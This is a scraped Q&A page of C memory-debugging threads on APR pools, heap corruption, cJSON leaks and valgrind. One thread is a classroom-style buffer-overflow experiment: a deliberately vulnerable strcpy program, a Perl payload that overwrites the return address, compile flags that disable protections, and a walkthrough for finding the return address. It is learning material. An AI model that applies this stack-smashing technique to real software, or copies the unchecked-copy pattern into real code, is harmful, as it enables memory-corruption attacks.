APR memory not freed after pool destroy - c

apr_pool_t *pool;
char *a;
char *b;
apr_pool_create(&pool, NULL);
a = (char *) apr_palloc(pool, 10);
strcpy(a, "hello");
printf("a is %s\n", a);
apr_pool_destroy(pool);
apr_terminate();
b = (char *) apr_palloc(pool, 10);
strcpy(b, "world");
printf("b is %s\n", b);
I'm new to libapr, from the document it said
Destroy the pool. This takes similar action as apr_pool_clear() and then frees all the memory.
but actually it's not, and I can still use apr_palloc to alloc memory from a destroyed pool? so my question is how can I actually free the memory and how can I actually destroy the pool object

You are invoking Undefined Behavior in at least two places.
I compiled on my linux (Mint a derived of Ubuntu), gcc 7.4. Your program crashes at the first apr_pool_create because you did not invoke the appropriate initialization functions (e.g. apr_initialize), see https://apr.apache.org/docs/apr/1.6/group__apr__library.html .
Here is the Valgrind trace:
==7158== Process terminating with default action of signal 11 (SIGSEGV)
==7158== Access not within mapped region at address 0x30
==7158== at 0x4E595F0: apr_pool_create_ex (in /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3)
==7158== by 0x1088EB: main (in /home/user/apr/test)
=
Once that issue is fixed, you get the following program (note: I do not know whether apr_initialize or apr_app_initialize is appropriate for your use case).
apr_pool_t *pool;
char *a;
char *b;
apr_initialize(); // You need this or apr_app_initialize
apr_pool_create(&pool, NULL);
a = (char *) apr_palloc(pool, 10);
strcpy(a, "hello");
printf("a is %s\n", a);
apr_pool_destroy(pool);
apr_terminate();
b = (char *) apr_palloc(pool, 10);
strcpy(b, "world");
printf("b is %s\n", b);
The above code crashes in the second apr_palloc with the following Valgrind trace because you are accessing memory that was freed most likely as a consequence of apr_pool_destroy
a is hello
==7196== Invalid read of size 8
==7196== at 0x4E58A62: apr_palloc (in /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3)
==7196== by 0x1089AF: main (in /home/user/apr/test)
==7196== Address 0x402d080 is not stack'd, malloc'd or (recently) free'd
==7196==
Removing the last lines
b = (char *) apr_palloc(pool, 10);
strcpy(b, "world");
printf("b is %s\n", b);
allow the program to terminate correctly and Valgrind shows no errors.
So it looks like apr_pool_destroy is working correctly, you were simply accessing memory you were not supposed to have access to and you did not experience a crash: Undefined Behavior is sneaky, your program can run for years without showing any problem, and then, one day it crashes.
For completeness, I compiled with the following command (the code was in test.c):
gcc -Wall test.c $(apr-1-config --cflags --cppflags --includes --link-ld) -o test
I suggest that you should use tools like Valgrind (http://www.valgrind.org/) to detect these kind of issues.
User Eliyahu Machluf (thanks) makes the point that APR provides facilities to debug memory allocation, from http://download.vikis.lt/manual/developer/debugging.html
Allocation Debugging
ALLOC_DEBUG
Debugging support: Define this to enable code which helps detect re-use of
free()d memory and other such nonsense.
The theory is simple. The FILL_BYTE (0xa5) is written over
all malloc'd memory as we receive it, and is written over everything
that we free up during a clear_pool. We check that blocks on the free
list always have the FILL_BYTE in them, and we check during palloc()
that the bytes still have FILL_BYTE in them. If you ever see garbage
URLs or whatnot containing lots of 0xa5s then you know something used
data that's been freed or uninitialized.

As pointed out previously, apr_initialize is a pre-requisite to using the pools. But the opposite of initialising the required data structures before use is tearing them down at the other end. That's what apr_terminate does. It makes no sense to try to use the library for memory allocation after you've taken away the stuff that it relies on.
If you run your program under valgrind as is (with the addition of the initialize) and then compare it to a second version where the apr_terminate is moved to just before the end of your code you should see a clear difference.

Related

Experimenting with buffer overflow

I recently took a security class in which we briefly touched on buffer overflow. I wasn't satisfied with what we covered, so I looked for a few examples to follow along with and try myself and found Buffer Overflow Attack
I like this example as it is easy to follow and understand why everything works. I tried to follow along, but in a Debian virtual machine instead of Windows.
This is the C code from the site:
#pragma check_stack(off)
#include <string.h>
#include <stdio.h>
void foo(const char* input)
{
char buf[10];
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Augh! I've been hacked!\n");
}
int main(int argc, char* argv[])
{
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}
The code "cheats" by giving the addresses of the two functions foo and bar. The ultimate goal is to get bar to run using only buffer overflow. To do this, they gave a short Perl script:
$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);
Since I'm using Linux instead of Windows, and since the address of my bar function was slightly different, I made a couple of simple fixes:
$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);
I would think that it should work the same way as it did in their example; the Perl script is run and it gives the filler text to the program, followed by the new return address to run bar. But it doesn't work for me.
This is the output from running my Perl script:
Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00
ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690
In my output, the only address that appears to hold any of the filler text is the third from the last address, the one immediately before the return address.
I suspect the issue comes from using gcc to compile my program, but I'm not sure what exactly is causing it. The issue may also be Debian. Here's how I compiled the program:
gcc -z execstack -fno-stack-protector prog.c -o prog
My hope was that compiling without the stack protector would allow me to follow the example without issues.
Any help would be great, I'm completely stuck. Realistically I could simply switch to Windows, but at this point I really want to know why it won't work and how to fix it.
Alright so I'm going to answer my own question here, just in case anyone who views it in the future is curious.
Essentially the problem stemmed from not printing enough memory addresses to get a clear picture of the stack. If you followed along with the link in the question you'd see that printing 6 memory addresses of the stack was enough for their system, but it wasn't enough for ours. My friend proposed changing the source code from this:
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
to this:
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
strcpy(buf, input);
printf("Buffer: %s\n", buf);
printf("Address of Buffer: %p\n\n", buf);
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
This change does two things for us. First, it increases the amount of addresses printed to 13. Second, it prints the address that the buffer starts at. The second part is important as it gives us a relative value to look for in the stack addresses given. Example:
overflow#OVERFLOW:~/Overflow$ ./prog ZZZZZZ
Address of foo = 0x400596
Address of bar = 0x400601
Current Stack:
0x7fffffe6
0x7f30b7f8a7a0
0x19
0x6
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x7f30b7f9cde0
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000
Buffer: ZZZZZZ
Address of Buffer: 0x7ffddab71220
Stack after Input:
0x7fffffde
0x7f30b7f8a7a0
0x21
0xc
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x5a5a5a5a5a5a
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000
In this example we can see Address of Buffer: 0x7ffddab71220. If we look through the stack addresses below it, we find one very similar: 0x7ffddab72653. We can think of this as a starting point for the buffer, so that the following few addresses will be the storage containers of the buffer. In fact, in this example I printed "ZZZZZZ" to the buffer, and you can see the address immediately following our starting point has changed to 0x5a5a5a5a5a5a which, you may have guessed, is "ZZZZZZ" in hex.
Great, so now we know where the buffer actually starts, but we don't know which is the return address. If we look at the addresses of the functions:
Address of foo = 0x400596 and Address of bar = 0x400601
We can find a similar value somewhere below the starting point of our buffer, in this case: 0x400672.
At this point we know all we need to: which memory addresses store the buffer, the address of the function we want to call, and most importantly the return address we want to overwrite. At that point it is a matter of experimenting with the perl script, adding characters to the buffer until we get the desired result.

malloc() Crashing everytime || windbg breaks in with nt!DbgLoadImageSymbols

LPTSTR name = NULL;
DWORD nameLength = 0;
namelength = host->nameLength; // returns 10
name = (LPTSTR) malloc( sizeof(nameLength * sizeof(TCHAR))); //crashes here
I don't understand the reason for its crashing at this point. Could somebody explain why?
Update =*(deleted the next line after the crashing line, had copied it by mistake. was just a commented out line in the code)
UPDATE:
Sorry guys, I had tried all the ways you have described before asking the question. Doesn't work.
I think its some other issue. heres a windows service, calling up the function above (from a dll) when the computer starts, so was doing a remote debugging the dll using windbg ( I break-in using a hard-coded debugbreak, just before the function gets called).
when I am over the malloc step and give a "next step" instruction (F10), it doesn't go to the next step, instead says the client is running, but then suddenly breaks in at nt!DbgLoadImageSymbols with "leave" instruction. Giving a go(F5) after this keeps the machine in a hanged state.
If you crash inside of malloc, then it means that you have previously corrupted the heap (or more accurately, the double-linked lists that organize the heap).
Considering that you have a glaring bug here:
name = (LPTSTR) malloc( sizeof(nameLength * sizeof(TCHAR)));
You should review all of your malloc calls and ensure that you are allocating enough memory. What you have likely done is allocate too small of a buffer, written too much data into the returned pointer corrupting the heap, and then crashed in a later call to malloc.
Since you are on Windows, you can also utilize page-heap verification (via the gflags tool). This will help you catch buffer overwrites when they happen.
Not enough info for an answer, but too much for a comment, sorry. I made a simple main() based as closely on your clues as I can see, with any previously commented errors uncorrected, but extra lines FYI how much memory is allocated. The program compiles and runs without complaint. So your problem has not been properly expressed.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main(){
LPTSTR name = NULL;
DWORD nameLength = 10;
name = (LPTSTR) malloc( sizeof(nameLength * sizeof(TCHAR)));
if (name) {
printf ("Memory for %d bytes allocated\n", sizeof(nameLength * sizeof(TCHAR)));
free (name);
} else {
printf ("No memory for %d bytes\n", sizeof(nameLength * sizeof(TCHAR)));
}
return 0;
}
Program output:
Memory for 4 bytes allocated
What is clear, is that it's unlikely to be enough memory for whatever you have said is 10.

cJSON memory leak

I use cJSON in my program to convert my values to JSON and write it to file. Here is the example of my code:
void writeStructToFile(IOPipe this, struct structtype somevalues) {
cJSON *jout = cJSON_CreateObject();
cJSON_AddItemToObject(jout, "V1", cJSON_CreateNumber(somevalues.v1));
cJSON_AddItemToObject(jout, "V2", cJSON_CreateNumber(somevalues.v2));
fprintf(this->outstream, "%s", cJSON_Print(jout));
cJSON_Delete(jout);
}
Works great, but after some time I found that Linux(embedded) kills my program because of abnormal memory use or device(on Cortex A8) just hangs. After debug I found, that leak appears exactly in this function even though I delete the pointer at the end. Could anyone see that leak?
Initially I thought that it might be FILE I/O's internal buffers. But these are flushed automatically when they become too big.
The real leak is that cJSON_Print allocates memory: a char array. You must free this after you're done:
char* text = cJSON_Print(jout);
fprintf(this->outstream, "%s", text);
free(text); // As suggested by PaulPonomarev.
cJSON_Delete(jout);
For a char* allocated cJSON_Print, it is said to use cJSON_FreePrintBuffer.

signal 11 SIGSEGV in malloc?

I usually love good explained questions and answers. But in this case I really can't give any more clues.
The question is: why malloc() is giving me SIGSEGV? The debug bellow show the program has no time to test the returned pointer to NULL and exit. The program quits INSIDE MALLOC!
I'm assuming my malloc in glibc is just fine. I have a debian/linux wheezy system, updated, in an old pentium (i386/i486 arch).
To be able to track, I generated a core dump. Lets follow it:
iguana$gdb xadreco core-20131207-150611.dump
Core was generated by `./xadreco'.
Program terminated with signal 11, Segmentation fault.
#0 0xb767fef5 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) bt
#0 0xb767fef5 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0xb76824bc in malloc () from /lib/i386-linux-gnu/libc.so.6
#2 0x080529c3 in enche_pmovi (cabeca=0xbfd40de0, pmovi=0x...) at xadreco.c:4519
#3 0x0804b93a in geramov (tabu=..., nmovi=0xbfd411f8) at xadreco.c:1473
#4 0x0804e7b7 in minimax (atual=..., deep=1, alfa=-105000, bet...) at xadreco.c:2778
#5 0x0804e9fa in minimax (atual=..., deep=0, alfa=-105000, bet...) at xadreco.c:2827
#6 0x0804de62 in compjoga (tabu=0xbfd41924) at xadreco.c:2508
#7 0x080490b5 in main (argc=1, argv=0xbfd41b24) at xadreco.c:604
(gdb) frame 2
#2 0x080529c3 in enche_pmovi (cabeca=0xbfd40de0, pmovi=0x ...) at xadreco.c:4519
4519 movimento *paux = (movimento *) malloc (sizeof (movimento));
(gdb) l
4516
4517 void enche_pmovi (movimento **cabeca, movimento **pmovi, int c0, int c1, int c2, int c3, int p, int r, int e, int f, int *nmovi)
4518 {
4519 movimento *paux = (movimento *) malloc (sizeof (movimento));
4520 if (paux == NULL)
4521 exit(1);
Of course I need to look at frame 2, the last on stack related to my code. But the line 4519 gives SIGSEGV! It does not have time to test, on line 4520, if paux==NULL or not.
Here it is "movimento" (abbreviated):
typedef struct smovimento
{
int lance[4]; //move in integer notation
int roque; // etc. ...
struct smovimento *prox;// pointer to next
} movimento;
This program can load a LOT of memory. And I know the memory is in its limits. But I thought malloc would handle better when memory is not available.
Doing a $free -h during execution, I can see memory down to as low as 1MB! Thats ok. The old computer only has 96MB. And 50MB is used by the OS.
I don't know to where start looking. Maybe check available memory BEFORE a malloc call? But that sounds a wast of computer power, as malloc would supposedly do that. sizeof (movimento) is about 48 bytes. If I test before, at least I'll have some confirmation of the bug.
Any ideas, please share. Thanks.
Any crash inside malloc (or free) is an almost sure sign of heap corruption, which can come in many forms:
overflowing or underflowing a heap buffer
freeing something twice
freeing a non-heap pointer
writing to freed block
etc.
These bugs are very hard to catch without tool support, because the crash often comes many thousands of instructions, and possibly many calls to malloc or free later, in code that is often in a completely different part of the program and very far from where the bug is.
The good news is that tools like Valgrind or AddressSanitizer usually point you straight at the problem.

Where is the uninitialized value in this function?

I am running a debug-version of my C binary within valgrind, which returns numerous errors of the sort Conditional jump or move depends on uninitialised value(s).
Using the symbol table, valgrind tells me where to look in my program for this issue:
==23899== 11 errors in context 72 of 72:
==23899== Conditional jump or move depends on uninitialised value(s)
==23899== at 0x438BB0: _int_free (in /foo/bar/baz)
==23899== by 0x43CF75: free (in /foo/bar/baz)
==23899== by 0x4179E1: json_tokener_parse_ex (json_tokener.c:593)
==23899== by 0x418DC8: json_tokener_parse (json_tokener.c:108)
==23899== by 0x40122D: readJSONMetadataHeader (metadataHelpers.h:345)
==23899== by 0x4019CB: main (baz.c:90)
I have the following function readJSONMetadataHeader(...) that calls json_tokener_parse():
int readJSONMetadataHeader(...) {
char buffer[METADATA_MAX_SIZE];
json_object *metadataJSON;
int charCnt = 0;
...
/* fill up the `buffer` variable here; basically a */
/* stream of characters representing JSON data... */
...
/* terminate `buffer` */
buffer[charCnt - 1] = '\0';
...
metadataJSON = json_tokener_parse(buffer);
...
}
The function json_tokener_parse() in turn is as follows:
struct json_object* json_tokener_parse(const char *str)
{
struct json_tokener* tok;
struct json_object* obj;
tok = json_tokener_new();
obj = json_tokener_parse_ex(tok, str, -1);
if(tok->err != json_tokener_success)
obj = (struct json_object*)error_ptr(-tok->err);
json_tokener_free(tok);
return obj;
}
Following the trace back to readJSONMetadataHeader(), it seems like the uninitialized value is the char [] (or const char *) variable buffer that is fed to json_tokener_parse(), which in turn is fed to json_tokener_parse_ex().
But the buffer variable gets filled with data and then terminated before the json_tokener_parse() function is called.
So why is valgrind saying this value is uninitialized? What am I missing?
It looks from the valgrind error report as if your application is statically linked (in particular, free appears to be in the main executable, and not libc.so.6).
Valgrind will report bogus errors for statically linked applications.
More precisely, there are intentional "don't care" errors inside libc. When you link the application dynamically, such errors are suppressed by default (via suppressions file that ships with Valgrind).
But when you link your application statically, Valgrind has no clue that the faulty code come from libc.a, and so it reports them.
Generally, statically linking applications on Linux is a bad idea (TM).
Running such application under Valgrind: doubly so: Valgrind will not be able to intercept malloc/free calls, and will effectively catch only uninitialized memory reads, and not heap buffer overflows (or other heap corruption bugs) that it is usually good at.
I don't see charCnt initialized.
To see if it comes from buffer, simply initialize it with = {0}, this also would make your null termination of the buffer obsolete.
Have a look in json_tokener_parse_ex() which you don't show. It's likely it's trying to free something that's not initialized.
buffer[charCnt - 1] = '\0';
This will at least fail if charCnt happens to be zero.

Resources